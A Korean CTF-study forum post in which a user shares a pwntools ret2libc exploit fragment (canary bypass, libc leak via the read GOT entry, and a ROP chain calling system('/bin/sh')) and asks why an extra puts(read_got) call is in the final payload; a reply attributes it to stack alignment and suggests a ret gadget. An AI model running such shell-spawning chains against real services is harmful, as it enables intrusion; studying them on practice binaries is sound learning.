5 코인 마지막 payload 질문

p.sendafter("Buf: ", payload_2)
base = u64(p.recv(6) +b'\x00\x00') - libc.symbols['read']
slog("base", base)
system = base + libc.symbols['system']
binsh = base + list(libc.search(b'/bin/sh'))[0]
slog("system", system)
slog("binsh", binsh)

payload_3 = b"A"*56
payload_3 += p64(cnry)
payload_3 += b"B"*8
payload_3 += p64(pop_rdi)
payload_3 += p64(read_got)
payload_3 += p64(puts_plt)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh)
payload_3 += p64(system)

time.sleep(1)
p.sendafter("Buf: ", payload_3)

필요한 정보를 다 leak 한 후에 main을 다시 호출해서 마지막 payload_3을 호출했습니다.
마지막 payload부분이 도저히 안 돼서 참고하여 풀었는데, p64(pop_rdi) + p64(read_got) + p64(puts_plt)의 역할이 뭔지 모르겠습니다.. read_got를 인자로 puts_plt를 마지막에 호출해주는 이유가 없는 거 같은데 호출해주는 이유가 뭔가요?

#pwnable
작성자 정보
답변 1
질문자가 채택한 답변입니다. 좋은 지식을 공유해줘서 고마워요!
avatar
keyme
CTF Second Place

필요한 정보를 다 leak 했으면 p64(pop_rdi) + p64(read_got) + p64(puts_plt) 과정은 굳이 필요 없는 과정인 것 같긴하네요. main을 다시 호출해서 payload_3을 호출했다고 하신 것을 봤을때는 movaps 이슈가 발생하셨던 것 같은데, 아마 p64(pop_rdi) + p64(read_got) + p64(puts_plt) 대신에 ret 가젯만 넣어주셔도 풀리지 않을까 싶네요.

2024.05.06. 23:24
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기